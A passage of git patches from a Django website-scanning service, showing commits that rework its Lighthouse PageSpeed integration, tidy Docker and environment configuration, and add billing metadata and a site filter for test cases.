-                    self.process_data(stdout_json=raw_data)
+            raw_data = self.lighthouse_api()
+            self.process_data(stdout_json=raw_data)
+
+            # try:
+            #     # CLI on first attempt
+            #     if attempts < 1:
+            #         # raw_data = self.lighthouse_cli()
+            #         raw_data = self.lighthouse_api()
+            #         self.process_data(stdout_json=raw_data)
                 
-                # API after first attempt
-                if attempts >= 1:
-                    raw_data = self.lighthouse_api()
-                    self.process_data(stdout_json=raw_data)
-
-                scan_complete = True
-                failed = False
-
-            except Exception as e:
-                print(f'LIGHTHOUSE FAILED (attempt {attempts}) --> {e}')
-                scan_complete = False
-                failed = True
-                attempts += 1
+            #     # API after first attempt
+            #     if attempts >= 1:
+            #         raw_data = self.lighthouse_api()
+            #         self.process_data(stdout_json=raw_data)
+
+            #     scan_complete = True
+            #     failed = False
+
+            # except Exception as e:
+            #     print(f'LIGHTHOUSE FAILED (attempt {attempts}) --> {e}')
+            #     scan_complete = False
+            #     failed = True
+            #     attempts += 1
 
         data = {
             "scores": self.scores, 
diff --git a/app/api/utils/scanner.py b/app/api/utils/scanner.py
index 614ed7bd..4596d429 100644
--- a/app/api/utils/scanner.py
+++ b/app/api/utils/scanner.py
@@ -548,16 +548,16 @@ def _lighthouse(scan_id, test_id, automation_id):
     """
     scan = Scan.objects.get(id=scan_id)
 
-    try:
+    # try:
     # running lighthouse
-        lh_data = Lighthouse(scan=scan, configs=scan.configs).get_data() 
-        
-        # updating Scan object
-        scan = Scan.objects.get(id=scan_id)
-        scan.lighthouse = lh_data
-        scan.save()
-    except Exception as e:
-        print(e)
+    lh_data = Lighthouse(scan=scan, configs=scan.configs).get_data() 
+    
+    # updating Scan object
+    scan = Scan.objects.get(id=scan_id)
+    scan.lighthouse = lh_data
+    scan.save()
+    # except Exception as e:
+    #     print(e)
 
     # checking if scan is done
     scan = check_scan_completion(scan, test_id, automation_id)

From 50f5ae9d5b16707407a4ec940f19521a43ad139c Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 15 May 2024 16:41:09 -0600
Subject: [PATCH 530/752] testing new

---
 app/api/utils/lighthouse.py | 10 ++++------
 1 file changed, 4 insertions(+), 6 deletions(-)

diff --git a/app/api/utils/lighthouse.py b/app/api/utils/lighthouse.py
index ffa18a5d..b1fba604 100644
--- a/app/api/utils/lighthouse.py
+++ b/app/api/utils/lighthouse.py
@@ -98,18 +98,16 @@ def lighthouse_api(self) -> dict:
         }
         params = {
             "url": self.page.page_url,
-            "category": "accessibility",
-            "category": "best-practices",
-            "category": "performance",
-            "category": "pwa",
-            "category": "seo",
             "strategy": self.configs["device"],
             "key": settings.GOOGLE_CRUX_KEY
         }
 
+        # cats
+        cats = 'category=ACCESSIBILITY&category=BEST_PRACTICES&category=PERFORMANCE&category=PWA&category=SEO'
+
         # setting up initial request
         res = requests.get(
-            url=f'{settings.LIGHTHOUSE_ROOT}',
+            url=f'{settings.LIGHTHOUSE_ROOT}?{cats}',
             params=params,
             headers=headers
         ).json()

From 2a6f2275d66b258a20d2152dc9e0998513e7826f Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 15 May 2024 18:50:27 -0600
Subject: [PATCH 531/752] added exception for nonexistant score categories

---
 app/api/utils/lighthouse.py | 8 ++++++--
 1 file changed, 6 insertions(+), 2 deletions(-)

diff --git a/app/api/utils/lighthouse.py b/app/api/utils/lighthouse.py
index b1fba604..bd9a9cbd 100644
--- a/app/api/utils/lighthouse.py
+++ b/app/api/utils/lighthouse.py
@@ -153,8 +153,12 @@ def process_data(self, stdout_json: dict) -> dict:
                         self.audits[cat].append(audit)
        
         # get scores from each category
-        for key in self.scores:
-            self.scores[key] = round(stdout_json["categories"][key]["score"])
+        for cat in self.scores:
+            # skipping non-existent cat
+            if stdout_json["categories"].get(cat) is None:
+                continue
+            # record score
+            self.scores[cat] = round(stdout_json["categories"][cat]["score"])
 
         # changing audits & score names
         self.scores['best_practices'] = self.scores.pop('best-practices')

From 40dc8525c2c41d1e32f0329a166eb23d9b9c443f Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 15 May 2024 19:04:12 -0600
Subject: [PATCH 532/752] fixing more key errors

---
 app/api/utils/lighthouse.py | 33 ++++++++++++---------------------
 1 file changed, 12 insertions(+), 21 deletions(-)

diff --git a/app/api/utils/lighthouse.py b/app/api/utils/lighthouse.py
index bd9a9cbd..9eaca12c 100644
--- a/app/api/utils/lighthouse.py
+++ b/app/api/utils/lighthouse.py
@@ -21,7 +21,7 @@ def __init__(self, scan=None, configs=None):
             "seo": None,
             "accessibility": None,
             "performance": None,
-            "best-practices": None,
+            "best_practices": None,
             "pwa": None,
             "crux": None,
             "average": None
@@ -32,7 +32,7 @@ def __init__(self, scan=None, configs=None):
             "seo": [],
             "accessibility": [],
             "performance": [],
-            "best-practices": [],
+            "best_practices": [],
             "pwa": [],
             "crux": []
         }
@@ -139,6 +139,11 @@ def process_data(self, stdout_json: dict) -> dict:
             endpoint_url=str(settings.AWS_S3_ENDPOINT_URL)
         )
 
+        # changing audits & score names before iterations
+        self.scores['best-practices'] = self.scores.pop(' best_practices')
+        self.audits['best-practices'] = self.audits.pop('best_practices')
+        self.audits['lighthouse-plugin-crux'] = self.audits.pop('crux')
+
         # iterating through categories to get relevant lh_audits 
         # and store them in their respective `audits = {}` obj
         for cat in self.audits:
@@ -153,37 +158,23 @@ def process_data(self, stdout_json: dict) -> dict:
                         self.audits[cat].append(audit)
        
         # get scores from each category
+        score_queue = [] 
         for cat in self.scores:
             # skipping non-existent cat
             if stdout_json["categories"].get(cat) is None:
                 continue
             # record score
             self.scores[cat] = round(stdout_json["categories"][cat]["score"])
+            # add to queu
+            score_queue.append(self.scores[cat])
 
-        # changing audits & score names
+        # changing audits & score names back to original
         self.scores['best_practices'] = self.scores.pop('best-practices')
         self.audits['best_practices'] = self.audits.pop('best-practices')
         self.audits['crux'] = self.audits.pop('lighthouse-plugin-crux')
-       
-        
-        # attempting crux
-        try:
-            crux_score = round(stdout_json["categories"]["lighthouse-plugin-crux"]["score"] * 100)
-        except:
-            crux_score = 0
 
         # dynamically calculating average
-        if crux_score == 0 :
-            crux_score = None
-            average_score = round((
-                    seo_score + accessibility_score + performance_score 
-                    + best_practices_score + pwa_score
-                )/ 5)
-        else:
-            average_score = round((
-                    seo_score + accessibility_score + performance_score 
-                    + best_practices_score + pwa_score + crux_score
-                )/ 6)
+        average_score = round(sum(score_queue)/len(score_queue))
 
         # save audits data as json file
         file_id = uuid.uuid4()

From 0cf390a2a0c843b236acdd96114eda661fd5f27c Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 15 May 2024 19:07:35 -0600
Subject: [PATCH 533/752] fixed typo

---
 app/api/utils/lighthouse.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/utils/lighthouse.py b/app/api/utils/lighthouse.py
index 9eaca12c..538df793 100644
--- a/app/api/utils/lighthouse.py
+++ b/app/api/utils/lighthouse.py
@@ -140,7 +140,7 @@ def process_data(self, stdout_json: dict) -> dict:
         )
 
         # changing audits & score names before iterations
-        self.scores['best-practices'] = self.scores.pop(' best_practices')
+        self.scores['best-practices'] = self.scores.pop('best_practices')
         self.audits['best-practices'] = self.audits.pop('best_practices')
         self.audits['lighthouse-plugin-crux'] = self.audits.pop('crux')
 

From eb3b7524eb3d48c320a23c8ba048267bc2ce46ff Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 15 May 2024 19:18:16 -0600
Subject: [PATCH 534/752] testing

---
 app/api/utils/lighthouse.py | 12 +++++-------
 1 file changed, 5 insertions(+), 7 deletions(-)

diff --git a/app/api/utils/lighthouse.py b/app/api/utils/lighthouse.py
index 538df793..9b7c59d4 100644
--- a/app/api/utils/lighthouse.py
+++ b/app/api/utils/lighthouse.py
@@ -15,6 +15,7 @@ def __init__(self, scan=None, configs=None):
         self.page = self.scan.page
         self.configs = configs
         self.sizes = configs['window_size'].split(',')
+        self.audits_url = ''
 
         # initial scores object
         self.scores = {
@@ -185,7 +186,7 @@ def process_data(self, stdout_json: dict) -> dict:
         audit_file = os.path.join(settings.BASE_DIR, f'{file_id}.json')
         remote_path = f'static/sites/{self.site.id}/{self.page.id}/{self.scan.id}/{file_id}.json'
         root_path = settings.AWS_S3_URL_PATH
-        audits_url = f'{root_path}/{remote_path}'
+        self.audits_url = f'{root_path}/{remote_path}'
     
         # upload to s3
         with open(audit_file, 'rb') as data:
@@ -195,12 +196,9 @@ def process_data(self, stdout_json: dict) -> dict:
         # remove local copy
         os.remove(audit_file)
 
-        # updating opjects
-        self.audits = audits_url
-
         data = {
             "scores": self.scores, 
-            "audits": self.audits,
+            "audits": self.audits_url,
             "failed": False
         }
 
@@ -241,10 +239,10 @@ def get_data(self):
             #     scan_complete = False
             #     failed = True
             #     attempts += 1
-
+            
         data = {
             "scores": self.scores, 
-            "audits": self.audits,
+            "audits": self.audits_url,
             "failed": failed
         }
             

From 1bd4887593f50375d9ea317c15aebc017c0e6b6d Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 15 May 2024 19:27:48 -0600
Subject: [PATCH 535/752] debugging

---
 app/api/utils/lighthouse.py | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/app/api/utils/lighthouse.py b/app/api/utils/lighthouse.py
index 9b7c59d4..97ef4f7a 100644
--- a/app/api/utils/lighthouse.py
+++ b/app/api/utils/lighthouse.py
@@ -107,6 +107,7 @@ def lighthouse_api(self) -> dict:
         cats = 'category=ACCESSIBILITY&category=BEST_PRACTICES&category=PERFORMANCE&category=PWA&category=SEO'
 
         # setting up initial request
+        print('sending request')
         res = requests.get(
             url=f'{settings.LIGHTHOUSE_ROOT}?{cats}',
             params=params,
@@ -115,6 +116,7 @@ def lighthouse_api(self) -> dict:
 
         # try to get just LH response
         res = res.get('lighthouseResult')
+        print('got response')
 
         # return response
         return res
@@ -239,7 +241,7 @@ def get_data(self):
             #     scan_complete = False
             #     failed = True
             #     attempts += 1
-            
+
         data = {
             "scores": self.scores, 
             "audits": self.audits_url,

From 1cc77eeafd526f60ba8427885aeedc2c13f4d9ac Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 15 May 2024 19:32:56 -0600
Subject: [PATCH 536/752] fixed infinite loop problem

---
 app/api/utils/lighthouse.py | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/app/api/utils/lighthouse.py b/app/api/utils/lighthouse.py
index 97ef4f7a..2ba7765e 100644
--- a/app/api/utils/lighthouse.py
+++ b/app/api/utils/lighthouse.py
@@ -214,12 +214,12 @@ def get_data(self):
         scan_complete = False
         failed = None
         attempts = 0
-        
-        # trying lighthouse scan untill success or 2 attempts
-        while not scan_complete and attempts < 2:
 
-            raw_data = self.lighthouse_api()
-            self.process_data(stdout_json=raw_data)
+        raw_data = self.lighthouse_api()
+        self.process_data(stdout_json=raw_data)
+
+        # trying lighthouse scan untill success or 2 attempts
+        # while not scan_complete and attempts < 2:
 
             # try:
             #     # CLI on first attempt

From 48e815f57723f22f2f7aba04c1c17a5a0410a01c Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 15 May 2024 19:49:28 -0600
Subject: [PATCH 537/752] testing

---
 app/api/utils/lighthouse.py | 53 +++++++++++++++++--------------------
 app/api/utils/scanner.py    | 20 +++++++-------
 2 files changed, 35 insertions(+), 38 deletions(-)

diff --git a/app/api/utils/lighthouse.py b/app/api/utils/lighthouse.py
index 2ba7765e..c684b084 100644
--- a/app/api/utils/lighthouse.py
+++ b/app/api/utils/lighthouse.py
@@ -107,7 +107,6 @@ def lighthouse_api(self) -> dict:
         cats = 'category=ACCESSIBILITY&category=BEST_PRACTICES&category=PERFORMANCE&category=PWA&category=SEO'
 
         # setting up initial request
-        print('sending request')
         res = requests.get(
             url=f'{settings.LIGHTHOUSE_ROOT}?{cats}',
             params=params,
@@ -116,7 +115,6 @@ def lighthouse_api(self) -> dict:
 
         # try to get just LH response
         res = res.get('lighthouseResult')
-        print('got response')
 
         # return response
         return res
@@ -167,8 +165,8 @@ def process_data(self, stdout_json: dict) -> dict:
             if stdout_json["categories"].get(cat) is None:
                 continue
             # record score
-            self.scores[cat] = round(stdout_json["categories"][cat]["score"])
-            # add to queu
+            self.scores[cat] = round(stdout_json["categories"][cat]["score"] * 100)
+            # add to queue
             score_queue.append(self.scores[cat])
 
         # changing audits & score names back to original
@@ -178,6 +176,8 @@ def process_data(self, stdout_json: dict) -> dict:
 
         # dynamically calculating average
         average_score = round(sum(score_queue)/len(score_queue))
+        self.score['average'] = average_score
+
 
         # save audits data as json file
         file_id = uuid.uuid4()
@@ -215,32 +215,29 @@ def get_data(self):
         failed = None
         attempts = 0
 
-        raw_data = self.lighthouse_api()
-        self.process_data(stdout_json=raw_data)
-
         # trying lighthouse scan untill success or 2 attempts
-        # while not scan_complete and attempts < 2:
-
-            # try:
-            #     # CLI on first attempt
-            #     if attempts < 1:
-            #         # raw_data = self.lighthouse_cli()
-            #         raw_data = self.lighthouse_api()
-            #         self.process_data(stdout_json=raw_data)
+        while not scan_complete and attempts < 2:
+
+            try:
+                # CLI on first attempt
+                if attempts < 1:
+                    # raw_data = self.lighthouse_cli()
+                    raw_data = self.lighthouse_api()
+                    self.process_data(stdout_json=raw_data)
                 
-            #     # API after first attempt
-            #     if attempts >= 1:
-            #         raw_data = self.lighthouse_api()
-            #         self.process_data(stdout_json=raw_data)
-
-            #     scan_complete = True
-            #     failed = False
-
-            # except Exception as e:
-            #     print(f'LIGHTHOUSE FAILED (attempt {attempts}) --> {e}')
-            #     scan_complete = False
-            #     failed = True
-            #     attempts += 1
+                # API after first attempt
+                if attempts >= 1:
+                    raw_data = self.lighthouse_api()
+                    self.process_data(stdout_json=raw_data)
+
+                scan_complete = True
+                failed = False
+
+            except Exception as e:
+                print(f'LIGHTHOUSE FAILED (attempt {attempts}) --> {e}')
+                scan_complete = False
+                failed = True
+                attempts += 1
 
         data = {
             "scores": self.scores, 
diff --git a/app/api/utils/scanner.py b/app/api/utils/scanner.py
index 4596d429..a8c7ede9 100644
--- a/app/api/utils/scanner.py
+++ b/app/api/utils/scanner.py
@@ -548,16 +548,16 @@ def _lighthouse(scan_id, test_id, automation_id):
     """
     scan = Scan.objects.get(id=scan_id)
 
-    # try:
-    # running lighthouse
-    lh_data = Lighthouse(scan=scan, configs=scan.configs).get_data() 
-    
-    # updating Scan object
-    scan = Scan.objects.get(id=scan_id)
-    scan.lighthouse = lh_data
-    scan.save()
-    # except Exception as e:
-    #     print(e)
+    try:
+        # running lighthouse
+        lh_data = Lighthouse(scan=scan, configs=scan.configs).get_data() 
+        
+        # updating Scan object
+        scan = Scan.objects.get(id=scan_id)
+        scan.lighthouse = lh_data
+        scan.save()
+    except Exception as e:
+        print(e)
 
     # checking if scan is done
     scan = check_scan_completion(scan, test_id, automation_id)

From 900a2e2cb9246549e77d3f8e96c40e2e9f227353 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 15 May 2024 19:52:09 -0600
Subject: [PATCH 538/752] fixed key error

---
 app/api/utils/lighthouse.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/utils/lighthouse.py b/app/api/utils/lighthouse.py
index c684b084..24c2add5 100644
--- a/app/api/utils/lighthouse.py
+++ b/app/api/utils/lighthouse.py
@@ -176,7 +176,7 @@ def process_data(self, stdout_json: dict) -> dict:
 
         # dynamically calculating average
         average_score = round(sum(score_queue)/len(score_queue))
-        self.score['average'] = average_score
+        self.scores['average'] = average_score
 
 
         # save audits data as json file

From a4552665e3a008536aa56b0db474c41733efac75 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 15 May 2024 19:56:43 -0600
Subject: [PATCH 539/752] fixed issues with LH update

---
 app/api/utils/lighthouse.py | 3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

diff --git a/app/api/utils/lighthouse.py b/app/api/utils/lighthouse.py
index 24c2add5..b9a83bd5 100644
--- a/app/api/utils/lighthouse.py
+++ b/app/api/utils/lighthouse.py
@@ -221,8 +221,7 @@ def get_data(self):
             try:
                 # CLI on first attempt
                 if attempts < 1:
-                    # raw_data = self.lighthouse_cli()
-                    raw_data = self.lighthouse_api()
+                    raw_data = self.lighthouse_cli()
                     self.process_data(stdout_json=raw_data)
                 
                 # API after first attempt

From 1aa2f992bb3a271c88ca304b774357a2d2d3e25f Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Thu, 16 May 2024 10:32:51 -0600
Subject: [PATCH 540/752] cleaning things up

---
 .gitignore                                    | 12 +++--
 Dockerfile.local => Dockerfile.stage          |  0
 app/api/v1/ops/services.py                    |  6 +--
 docker-compose.stage.yml                      |  6 +--
 docker-compose.yml                            |  2 -
 env/.env.dev.example                          |  1 +
 env/.env.prod.example                         |  1 +
 ...{.env.local.example => .env.stage.example} |  1 +
 functions/yellowlab/Dockerfile                | 53 -------------------
 k8s/local/app-deployment.yaml                 |  2 +-
 k8s/local/celery-deployment.yaml              |  2 +-
 11 files changed, 15 insertions(+), 71 deletions(-)
 rename Dockerfile.local => Dockerfile.stage (100%)
 rename env/{.env.local.example => .env.stage.example} (95%)
 delete mode 100644 functions/yellowlab/Dockerfile

diff --git a/.gitignore b/.gitignore
index f9aedcb0..82919490 100644
--- a/.gitignore
+++ b/.gitignore
@@ -1,21 +1,23 @@
-app/api/utils/testing_stuff.py
-app/data*
-app/api/utils/__pycache__/tester.cpython-38.pyc
+db.sqlite3
 .DS_Store
+
 *__pycache__*
-db.sqlite3
 *.pyc 
 __pycache__
 __pycache__/
 */__pycache__/*
 **/__pycache__/
+
 env/.env.local
 env/.env.dev
 env/.env.prod
 env/.env.stage
 env/.env.prod.db
+
+app/data*
 app/static*
 app/api/migrations/*_*.py
+
 k8s/*/*-configs.yaml
+k8s/prod/old_configs/*
 
-app/api/v1/ops/test.py
diff --git a/Dockerfile.local b/Dockerfile.stage
similarity index 100%
rename from Dockerfile.local
rename to Dockerfile.stage
diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 624996ae..e68dbab8 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -162,7 +162,7 @@ def create_site(request, delay=False):
         return Response(data, status=status.HTTP_409_CONFLICT)
     else:
         tags = request.data.get('tags', None)
-        configs = request.data.get('configs', None)
+        configs = request.data.get('configs', settings.CONFIGS)
         no_scan = request.data.get('no_scan', False)
         site = Site.objects.create(
             site_url=site_url,
@@ -171,10 +171,6 @@ def create_site(request, delay=False):
             account=account
         )
 
-        # get/set configs
-        if not configs:
-            configs = settings.CONFIGS
-
         # create process obj
         process = Process.objects.create(
             site=site,
diff --git a/docker-compose.stage.yml b/docker-compose.stage.yml
index ccd0c90d..9004e24e 100644
--- a/docker-compose.stage.yml
+++ b/docker-compose.stage.yml
@@ -6,8 +6,7 @@ services:
     init: true
     restart: always
     build:
-      dockerfile: Dockerfile.local
-    # image: landonr/scanerr-server
+      dockerfile: Dockerfile.stage
     ports:
       - "8000:8000"
     volumes:
@@ -34,8 +33,7 @@ services:
     restart: always
     build:
       context: .
-      dockerfile: Dockerfile.local
-    # image: landonr/scanerr-server
+      dockerfile: Dockerfile.stage
     command: celery -A scanerr worker --beat --scheduler django --loglevel=info
     volumes:
       - ./app:/scanerr
diff --git a/docker-compose.yml b/docker-compose.yml
index bdd56fed..2fb0dbfb 100644
--- a/docker-compose.yml
+++ b/docker-compose.yml
@@ -8,7 +8,6 @@ services:
     build:
       context: .
       dockerfile: Dockerfile.local
-    # image: landonr/scanerr-server
     ports:
       - "8000:8000"
     volumes:
@@ -47,7 +46,6 @@ services:
     build:
       context: .
       dockerfile: Dockerfile.local
-    # image: landonr/scanerr-server
     command: celery -A scanerr worker --beat --scheduler django --loglevel=info
     volumes:
       - ./app:/scanerr
diff --git a/env/.env.dev.example b/env/.env.dev.example
index 8de7c30d..2161de15 100644
--- a/env/.env.dev.example
+++ b/env/.env.dev.example
@@ -3,6 +3,7 @@ SECRET_KEY = ask-for-this-or-generate-yourself
 CLIENT_URL_ROOT = https://app.example.io            # example
 API_URL_ROOT = https://api.example.io               # example
 YELLOWLAB_ROOT = http://yellowlab.example.io:8383   # example
+LIGHTHOUSE_ROOT = https://www.googleapis.com/pagespeedonline/v5/runPagespeed
 LETSENCRYPT_HOST = api.example.io                   # example
 VIRTUAL_HOST = api.example.io                       # example
 VIRTUAL_PORT = 8000
diff --git a/env/.env.prod.example b/env/.env.prod.example
index 287d1a69..6bca933e 100644
--- a/env/.env.prod.example
+++ b/env/.env.prod.example
@@ -4,6 +4,7 @@ CLIENT_URL_ROOT = https://app.example.io            # example
 LANDING_URL_ROOT = https://example.io               # example
 API_URL_ROOT = https://api.example.io               # example
 YELLOWLAB_ROOT = http://yellowlab.example.io:8383   # example
+LIGHTHOUSE_ROOT = https://www.googleapis.com/pagespeedonline/v5/runPagespeed
 LETSENCRYPT_HOST = api.example.io                   # example
 DJANGO_ALLOWED_HOSTS = *
 
diff --git a/env/.env.local.example b/env/.env.stage.example
similarity index 95%
rename from env/.env.local.example
rename to env/.env.stage.example
index 094c121f..deea058a 100644
--- a/env/.env.local.example
+++ b/env/.env.stage.example
@@ -4,6 +4,7 @@ CLIENT_URL_ROOT = http://localhost:3000
 CLIENT_URL_ROOT = http://localhost:3000
 API_URL_ROOT = http://localhost:8000
 YELLOWLAB_ROOT = http://yellowlab.scanerr.io:8383
+LIGHTHOUSE_ROOT = https://www.googleapis.com/pagespeedonline/v5/runPagespeed
 DJANGO_ALLOWED_HOSTS = *
 
 
diff --git a/functions/yellowlab/Dockerfile b/functions/yellowlab/Dockerfile
deleted file mode 100644
index c4e23a3b..00000000
--- a/functions/yellowlab/Dockerfile
+++ /dev/null
@@ -1,53 +0,0 @@
-FROM node:18-alpine
-
-# Tell Puppeteer to skip installing Chrome. We'll be using the installed binary
-ENV PUPPETEER_SKIP_CHROMIUM_DOWNLOAD true
-
-# Tell phantomas where Chromium binary is and that we're in docker
-ENV PHANTOMAS_CHROMIUM_EXECUTABLE /usr/bin/chromium-browser
-ENV DOCKERIZED yes
-
-# increasing allocated memory to node
-ENV NODE_OPTIONS=--max_old_space_size=4000
-ENV NODE_OPTIONS="--max-old-space-size=4000"
-ENV GENERATE_SOURCEMAP=false
-
-WORKDIR /usr/src/ylt
-
-RUN apk upgrade --update && apk --no-cache add git gcc make g++ zlib-dev libjpeg-turbo-dev nasm automake autoconf libtool \
-  && git clone https://github.com/Scanerr-io/ylt-server -b main . \
-  && NODE_ENV=production && export CPPFLAGS="-DPNG_ARM_NEON_OPT=0" && npm install --unsafe-perm=true --allow-root --legacy-peer-deps --omit=dev \
-  && echo "http://dl-cdn.alpinelinux.org/alpine/edge/main" > /etc/apk/repositories \
-  && echo "http://dl-cdn.alpinelinux.org/alpine/edge/community" >> /etc/apk/repositories \
-  && echo "http://dl-cdn.alpinelinux.org/alpine/edge/testing" >> /etc/apk/repositories \
-  && apk upgrade -U -a \
-  && apk add \
-    libjpeg-turbo-dev \
-    chromium \
-    ca-certificates \
-    freetype \
-    freetype-dev \
-    harfbuzz \
-    nss \
-    ttf-freefont \
-  && which chromium-browser && chromium-browser --version &&  chown -R nobody:nogroup . \
-  && rm -rf test doc
-
-# Create the results directory and assign nobody:nogroup as the owner
-RUN mkdir -p /usr/src/ylt/results && chown -R nobody:nogroup /usr/src/ylt/results
-
-# Add the volume for results
-VOLUME /usr/src/ylt/results
-
-# Run everything after as non-privileged user.
-USER nobody
-
-# Set up the Chromium environment
-ENV XDG_CONFIG_HOME /tmp/.chromium
-ENV XDG_CACHE_HOME /tmp/.chromium
-
-ENV DEBUG *
-
-EXPOSE 8383
-
-CMD ["node", "bin/server.js"]
\ No newline at end of file
diff --git a/k8s/local/app-deployment.yaml b/k8s/local/app-deployment.yaml
index 36be9020..353f6432 100644
--- a/k8s/local/app-deployment.yaml
+++ b/k8s/local/app-deployment.yaml
@@ -16,7 +16,7 @@ spec:
         - name: regcred
       containers:
         - name: app
-          image: landonr/scanerr-server
+          image: scanerr/server:latest
           imagePullPolicy: IfNotPresent
           ports:
             - containerPort: 8000
diff --git a/k8s/local/celery-deployment.yaml b/k8s/local/celery-deployment.yaml
index 64ed79e9..14acc537 100644
--- a/k8s/local/celery-deployment.yaml
+++ b/k8s/local/celery-deployment.yaml
@@ -16,7 +16,7 @@ spec:
         - name: regcred
       containers:
         - name: celery
-          image: landonr/scanerr-server
+          image: scanerr/server:latest
           imagePullPolicy: IfNotPresent
           command: ["celery", "-A", "scanerr", "worker", "--beat", "--scheduler", "django", "--loglevel=info"]
           envFrom:

From c7048325964615c141d43b2c65e23daa5ac9faca Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Thu, 16 May 2024 20:12:28 -0600
Subject: [PATCH 541/752] added meta (coupon) data to billing view

---
 app/api/v1/billing/views.py | 7 +++++--
 1 file changed, 5 insertions(+), 2 deletions(-)

diff --git a/app/api/v1/billing/views.py b/app/api/v1/billing/views.py
index e73bd6c8..63ab7057 100644
--- a/app/api/v1/billing/views.py
+++ b/app/api/v1/billing/views.py
@@ -137,6 +137,7 @@ def post(self, request):
         max_schedules = int(request.data.get('max_schedules'))
         retention_days = int(request.data.get('retention_days'))
         testcases = str(request.data.get('testcases', False))
+        meta = request.data.get('meta')
         initial_call = True
         client_secret = None
 
@@ -154,7 +155,8 @@ def post(self, request):
                 max_pages=max_pages,
                 max_schedules=max_schedules,
                 retention_days=retention_days,
-                testcases=testcases
+                testcases=testcases, 
+                meta=meta
             )
 
         account = Account.objects.get(user=user)
@@ -219,7 +221,8 @@ def post(self, request):
             price_amount = price_amount,
             max_schedules = max_schedules,
             retention_days = retention_days,
-            testcases = testcases
+            testcases = testcases,
+            meta = meta
         )        
 
         if initial_call:

From 6158baff3837cad0a9cca376aeb9809e3d70bc23 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Fri, 17 May 2024 09:43:06 -0600
Subject: [PATCH 542/752] expanded get_cases for site filter

---
 app/api/v1/ops/services.py | 43 +++++++++++++++++++++++++++++++-------
 1 file changed, 35 insertions(+), 8 deletions(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index e68dbab8..065a98d1 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -2409,9 +2409,13 @@ def create_or_update_case(request):
 
 def get_cases(request):
     case_id = request.query_params.get('case_id')
+    site_id = request.query_params.get('site_id')
     user = request.user
     account = Member.objects.get(user=user).account
 
+    case = None
+    site = None
+
     if case_id != None:        
         try:
             case = Case.objects.get(id=case_id)
@@ -2429,15 +2433,38 @@ def get_cases(request):
         data = serialized.data
         record_api_call(request, data, '200')
         return Response(data, status=status.HTTP_200_OK)
+
+    if site_id != None:
+        try:
+            site = Site.objects.get(id=site_id)
+        except:
+            data = {'reason': 'cannot find a Site with that id'}
+            record_api_call(request, data, '404')
+            return Response(data, status=status.HTTP_404_NOT_FOUND)
+        if site.account != account:
+            data = {'reason': 'cannot retrieve an Case you do not own',}
+            return Response(data, status=status.HTTP_403_FORBIDDEN)
     
-    cases = Case.objects.filter(account=account).order_by('-time_created')
-    paginator = LimitOffsetPagination()
-    result_page = paginator.paginate_queryset(cases, request)
-    serializer_context = {'request': request,}
-    serialized = CaseSerializer(result_page, many=True, context=serializer_context)
-    response = paginator.get_paginated_response(serialized.data)
-    record_api_call(request, response.data, '200')
-    return response
+    # filter by site association
+    if site is not None:
+        cases = Case.objects.filter(account=account, site=site).order_by('-time_created')
+        paginator = LimitOffsetPagination()
+        result_page = paginator.paginate_queryset(cases, request)
+        serializer_context = {'request': request,}
+        serialized = CaseSerializer(result_page, many=True, context=serializer_context)
+        response = paginator.get_paginated_response(serialized.data)
+        record_api_call(request, response.data, '200')
+        return response
+
+    else:
+        cases = Case.objects.filter(account=account).order_by('-time_created')
+        paginator = LimitOffsetPagination()
+        result_page = paginator.paginate_queryset(cases, request)
+        serializer_context = {'request': request,}
+        serialized = CaseSerializer(result_page, many=True, context=serializer_context)
+        response = paginator.get_paginated_response(serialized.data)
+        record_api_call(request, response.data, '200')
+        return response
 
 
 

From 8d6548e6bfc4ecee76dd1d401db2982175ed99f7 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Fri, 17 May 2024 12:08:07 -0600
Subject: [PATCH 543/752] cleaning things up

---
 app/api/v1/ops/services.py | 5 +----
 1 file changed, 1 insertion(+), 4 deletions(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 065a98d1..adb057df 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -2657,7 +2657,7 @@ def create_testcase(request, delay=False):
     case_id = request.data.get('case_id')
     site_id = request.data.get('site_id')
     updates = request.data.get('updates')
-    configs = request.data.get('configs')
+    configs = request.data.get('configs', settings.CONFIGS)
     user = request.user
     account = Member.objects.get(user=user).account
 
@@ -2706,9 +2706,6 @@ def create_testcase(request, delay=False):
     if updates != None:
         for update in updates:
             steps[int(update['index'])]['action']['value'] = update['value']
-
-    if configs is None:
-        configs = settings.CONFIGS
         
     testcase = Testcase.objects.create(
         case = case,

From fabae80d58e1e9d8864d743ec6a7212a6badbfab Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Fri, 17 May 2024 13:05:07 -0600
Subject: [PATCH 544/752] added logs to data_retention()

---
 app/api/tasks.py | 10 ++++++++++
 1 file changed, 10 insertions(+)

